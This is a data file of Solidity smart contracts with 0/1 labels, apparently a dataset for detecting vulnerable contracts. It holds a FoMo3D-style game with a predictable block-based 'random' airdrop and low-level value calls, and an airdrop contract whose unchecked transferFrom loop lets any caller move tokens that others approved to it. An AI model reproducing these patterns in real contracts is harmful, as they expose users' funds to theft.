uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_com);
admin.transfer(_p3d.sub(_p3d / 2));
round_[_rID].pot = _pot.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 20;
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = (8 * _eth) / 100;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,151 |
pragma solidity ^0.4.24;
contract airdrop{
function transfer(address from,address caddress,address[] _tos,uint v)public returns (bool){
require(_tos.length > 0);
bytes4 id=bytes4(keccak256("transferFrom(address,address,uint256)"));
for(uint i=0;i<_tos.length;i++){
caddress.call(id,from,_tos[i],v);
}
return true;
}
} | 1 | 3,962 |
pragma solidity ^0.4.11;
contract Interface {
function registerArtwork (address _contract, bytes32 _SHA256Hash, uint256 _editionSize, string _title, string _fileLink, uint256 _ownerCommission, address _artist, bool _indexed, bool _ouroboros);
function isSHA256HashRegistered (bytes32 _SHA256Hash) returns (bool _registered);
function isFactoryApproved (address _factory) returns (bool _approved);
function issuePatrons (address _to, uint256 _amount);
function totalSupply() constant returns (uint256 totalSupply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
function burn(uint256 _amount) returns (bool success);
function burnFrom(address _from, uint256 _amount) returns (bool success);
}
contract Artwork {
address public owner;
bytes32 public SHA256ofArtwork;
uint256 editionSize;
string title;
string fileLink;
string public proofLink;
string public customText;
uint256 public ownerCommission;
uint256 public lowestAskPrice;
address public lowestAskAddress;
uint256 public lowestAskTime;
bool public pieceForSale;
uint256 public highestBidPrice;
address public highestBidAddress;
uint256 public highestBidTime;
uint public activationTime;
bool public pieceWanted;
event newLowestAsk (uint256 price, address seller);
event newHighestBid (uint256 price, address bidder);
event pieceTransfered (uint256 amount, address from, address to);
event pieceSold (address from, address to, uint256 price);
event Transfer (address indexed _from, address indexed _to, uint256 _value);
event Approval (address indexed _owner, address indexed _spender, uint256 _value);
event Burn (address indexed _owner, uint256 _amount);
bool proofSet;
uint256 ethartAward;
mapping (address => uint256) public piecesOwned;
mapping (address => mapping (address => uint256)) allowed;
address registrar = 0x562b85ACEEE81876D27252B7dc06f03F6A2565fc;
function Artwork (
bytes32 _SHA256ofArtwork,
uint256 _editionSize,
string _title,
string _fileLink,
string _customText,
uint256 _ownerCommission,
address _owner
) {
if (_ownerCommission > 9750 || _ownerCommission <0) {throw;}
owner = _owner;
SHA256ofArtwork = _SHA256ofArtwork;
editionSize = _editionSize;
title = _title;
fileLink = _fileLink;
customText = _customText;
ownerCommission = _ownerCommission;
activationTime = now;
}
modifier onlyBy(address _account)
{
require(msg.sender == _account);
_;
}
modifier ethArtOnlyAfterOneYear()
{
require(msg.sender != registrar || now > activationTime + 31536000);
_;
}
modifier ownerFirst()
{
require(msg.sender == owner || now > highestBidTime + 86400 || piecesOwned[owner] == 0);
_;
}
modifier notLocked(address _owner, uint256 _amount)
{
require(_owner != lowestAskAddress || piecesOwned[_owner] > _amount);
_;
}
function changeOwner (address newOwner) onlyBy (owner) {
owner = newOwner;
}
function setProof (string _proofLink) onlyBy (owner) {
if (!proofSet) {
uint256 remainder;
proofLink = _proofLink;
proofSet = true;
remainder = editionSize % 40;
ethartAward = (editionSize - remainder) / 40;
if (remainder > 0 && now % 39 <= remainder) {ethartAward++;}
piecesOwned[registrar] = ethartAward;
piecesOwned[owner] = editionSize - ethartAward;
}
else {throw;}
}
function transfer(address _to, uint256 _amount) notLocked(msg.sender, _amount) returns (bool success) {
if (piecesOwned[msg.sender] >= _amount
&& _amount > 0
&& piecesOwned[_to] + _amount > piecesOwned[_to]
&& _to != 0x0)
{
piecesOwned[msg.sender] -= _amount;
piecesOwned[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
}
else { return false;}
}
function totalSupply() constant returns (uint256 totalSupply) {
totalSupply = editionSize;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return piecesOwned[_owner];
}
function transferFrom(address _from, address _to, uint256 _amount) notLocked(_from, _amount) returns (bool success)
{
if (piecesOwned[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& piecesOwned[_to] + _amount > piecesOwned[_to]
&& _to != 0x0
&& (_from != lowestAskAddress || piecesOwned[_from] > _amount))
{
piecesOwned[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
piecesOwned[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {return false;}
}
function approve(address _spender, uint256 _amount) returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function burn(uint256 _amount) notLocked(msg.sender, _amount) returns (bool success) {
if (piecesOwned[msg.sender] >= _amount) {
piecesOwned[msg.sender] -= _amount;
editionSize -= _amount;
Burn(msg.sender, _amount);
return true;
}
else {throw;}
}
function burnFrom(address _from, uint256 _value) notLocked(_from, _value) returns (bool success) {
if (piecesOwned[_from] >= _value && allowed[_from][msg.sender] >= _value) {
piecesOwned[_from] -= _value;
allowed[_from][msg.sender] -= _value;
editionSize -= _value;
Burn(_from, _value);
return true;
}
else {throw;}
}
function buyPiece() payable {
if (pieceForSale && msg.value >= lowestAskPrice) {
uint256 _amountOwner;
uint256 _amountEthart;
uint256 _amountSeller;
_amountOwner = msg.value / 10000 * ownerCommission;
_amountEthart = msg.value / 40;
_amountSeller = msg.value - _amountOwner - _amountEthart;
owner.transfer(_amountOwner);
lowestAskAddress.transfer(_amountSeller);
registrar.transfer(_amountEthart);
piecesOwned[lowestAskAddress]--;
piecesOwned[msg.sender]++;
Interface a = Interface(registrar);
a.issuePatrons(msg.sender, msg.value / 5 * 2);
pieceSold (lowestAskAddress, msg.sender, msg.value);
pieceForSale = false;
lowestAskPrice = 0;
lowestAskAddress = 0x0;
}
else {throw;}
}
function offerPieceForSale (uint256 _price) ethArtOnlyAfterOneYear {
if (_price < lowestAskPrice || !pieceForSale) {
if (_price <= highestBidPrice) {fillBid();}
else {
pieceForSale = true;
lowestAskPrice = _price;
lowestAskAddress = msg.sender;
lowestAskTime = now;
newLowestAsk (_price, lowestAskAddress);
}
}
else {throw;}
}
function placeBid () payable {
if (msg.value > highestBidPrice || (pieceForSale && msg.value >= lowestAskPrice)) {
if (pieceWanted) {highestBidAddress.transfer (highestBidPrice);}
if (pieceForSale && msg.value >= lowestAskPrice) {buyPiece();}
else {
pieceWanted = true;
highestBidPrice = msg.value;
highestBidAddress = msg.sender;
highestBidTime = now;
newHighestBid (msg.value, highestBidAddress);
}
}
else {throw;}
}
function fillBid () ownerFirst ethArtOnlyAfterOneYear notLocked(msg.sender, 1) {
if (pieceWanted && piecesOwned[msg.sender] >= 1) {
uint256 _amountOwner;
uint256 _amountEthart;
uint256 _amountSeller;
uint256 patronReward;
_amountOwner = highestBidPrice / 10000 * ownerCommission;
_amountEthart = highestBidPrice / 40;
_amountSeller = highestBidPrice - _amountOwner - _amountEthart;
owner.transfer(_amountOwner);
msg.sender.transfer(_amountSeller);
registrar.transfer(_amountEthart);
piecesOwned[highestBidAddress]++;
Interface a = Interface(registrar);
patronReward = highestBidPrice / 5 * 2;
a.issuePatrons(highestBidAddress, patronReward);
piecesOwned[msg.sender]--;
pieceSold (msg.sender, highestBidAddress, highestBidPrice);
pieceWanted = false;
highestBidPrice = 0;
highestBidAddress = 0x0;
}
else {throw;}
}
function cancelBid () onlyBy (highestBidAddress){
if (pieceWanted && now > highestBidTime + 86400) {
pieceWanted = false;
msg.sender.transfer(highestBidPrice);
highestBidPrice = 0;
highestBidAddress = 0x0;
newHighestBid (0, 0x0);
}
else {throw;}
}
function cancelSale () onlyBy (lowestAskAddress){
if(pieceForSale && now > lowestAskTime + 86400) {
pieceForSale = false;
lowestAskPrice = 0;
lowestAskAddress = 0x0;
newLowestAsk (0, 0x0);
}
else {throw;}
}
} | 1 | 2,384 |
pragma solidity 0.4.15;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract LineSocial is StandardToken, Ownable {
string public name = "Line Social";
string public symbol = "LINESO";
uint8 public decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
function LineSocial() {
totalSupply = INITIAL_SUPPLY;
balances[owner] = INITIAL_SUPPLY;
}
} | 1 | 2,929 |
pragma solidity ^0.4.18;
contract SafeMathLib {
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint c = a + b;
assert(c>=a);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FractionalERC20 is ERC20 {
uint8 public decimals;
}
contract StandardToken is ERC20, SafeMathLib {
event Minted(address receiver, uint256 amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint256)) allowed;
function transfer(address _to, uint256 _value)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = safeSub(balances[msg.sender],_value);
balances[_to] = safeAdd(balances[_to],_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
uint _allowance = allowed[_from][msg.sender];
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= _allowance);
require(balances[_to] + _value > balances[_to]);
balances[_to] = safeAdd(balances[_to],_value);
balances[_from] = safeSub(balances[_from],_value);
allowed[_from][msg.sender] = safeSub(_allowance,_value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = safeAdd(allowed[msg.sender][_spender],_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = safeSub(oldValue,_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract UpgradeAgent {
uint public originalSupply;
function isUpgradeAgent() public pure returns (bool) {
return true;
}
function upgradeFrom(address _from, uint256 _value) public;
}
contract UpgradeableToken is StandardToken {
address public upgradeMaster;
UpgradeAgent public upgradeAgent;
uint256 public totalUpgraded;
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
event Upgrade(address indexed _from, address indexed _to, uint256 _value);
event UpgradeAgentSet(address agent);
function UpgradeableToken(address _upgradeMaster) public {
upgradeMaster = _upgradeMaster;
}
function upgrade(uint256 value) public {
UpgradeState state = getUpgradeState();
require((state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading));
require (value != 0);
balances[msg.sender] = safeSub(balances[msg.sender],value);
totalSupply = safeSub(totalSupply,value);
totalUpgraded = safeAdd(totalUpgraded,value);
upgradeAgent.upgradeFrom(msg.sender, value);
Upgrade(msg.sender, upgradeAgent, value);
}
function setUpgradeAgent(address agent) external {
require(canUpgrade());
require(agent != 0x0);
require(msg.sender == upgradeMaster);
require(getUpgradeState() != UpgradeState.Upgrading);
upgradeAgent = UpgradeAgent(agent);
require(upgradeAgent.isUpgradeAgent());
require(upgradeAgent.originalSupply() == totalSupply);
UpgradeAgentSet(upgradeAgent);
}
function getUpgradeState() public constant returns(UpgradeState) {
if(!canUpgrade()) return UpgradeState.NotAllowed;
else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent;
else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
function setUpgradeMaster(address master) public {
require(master != 0x0);
require(msg.sender == upgradeMaster);
upgradeMaster = master;
}
function canUpgrade() public view returns(bool) {
return true;
}
}
contract ReleasableToken is ERC20, Ownable {
address public releaseAgent;
bool public released = false;
mapping (address => bool) public transferAgents;
modifier canTransfer(address _sender) {
if(!released) {
require(transferAgents[_sender]);
}
_;
}
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
modifier inReleaseState(bool releaseState) {
require(releaseState == released);
_;
}
modifier onlyReleaseAgent() {
require(msg.sender == releaseAgent);
_;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) public returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) public returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
}
contract MintableToken is StandardToken, Ownable {
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state);
event Mint(address indexed to, uint256 amount);
function mint(address receiver, uint256 amount) onlyMintAgent canMint public returns(bool){
totalSupply = safeAdd(totalSupply, amount);
balances[receiver] = safeAdd(balances[receiver], amount);
Mint(receiver, amount);
Transfer(0, receiver, amount);
return true;
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
require(mintAgents[msg.sender]);
_;
}
modifier canMint() {
require(!mintingFinished);
_;
}
}
contract Allocatable is Ownable {
mapping (address => bool) public allocateAgents;
event AllocateAgentChanged(address addr, bool state );
function setAllocateAgent(address addr, bool state) onlyOwner public {
allocateAgents[addr] = state;
AllocateAgentChanged(addr, state);
}
modifier onlyAllocateAgent() {
require(allocateAgents[msg.sender]);
_;
}
}
contract CrowdsaleToken is ReleasableToken, MintableToken, UpgradeableToken {
event UpdatedTokenInformation(string newName, string newSymbol);
string public name;
string public symbol;
uint8 public decimals;
function CrowdsaleToken(string _name, string _symbol, uint _initialSupply, uint8 _decimals, bool _mintable)
public
UpgradeableToken(msg.sender)
{
owner = msg.sender;
name = _name;
symbol = _symbol;
totalSupply = _initialSupply;
decimals = _decimals;
balances[owner] = totalSupply;
if(totalSupply > 0) {
Minted(owner, totalSupply);
}
if(!_mintable) {
mintingFinished = true;
require(totalSupply != 0);
}
}
function releaseTokenTransfer() public onlyReleaseAgent {
mintingFinished = true;
super.releaseTokenTransfer();
}
function canUpgrade() public view returns(bool) {
return released && super.canUpgrade();
}
function setTokenInformation(string _name, string _symbol) onlyOwner public {
name = _name;
symbol = _symbol;
UpdatedTokenInformation(name, symbol);
}
}
contract FinalizeAgent {
function isFinalizeAgent() public pure returns(bool) {
return true;
}
function isSane() public view returns (bool);
function finalizeCrowdsale() public ;
}
contract PricingStrategy {
function isPricingStrategy() public pure returns (bool) {
return true;
}
function isSane(address crowdsale) public view returns (bool) {
return true;
}
function calculatePrice(uint256 value, uint256 weiRaised, uint256 tokensSold, address msgSender, uint256 decimals) public constant returns (uint256 tokenAmount);
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
require(!halted);
_;
}
modifier onlyInEmergency {
require(halted);
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract Crowdsale is Allocatable, Haltable, SafeMathLib {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
FractionalERC20 public token;
address public tokenVestingAddress;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint256 public minimumFundingGoal;
uint256 public startsAt;
uint256 public endsAt;
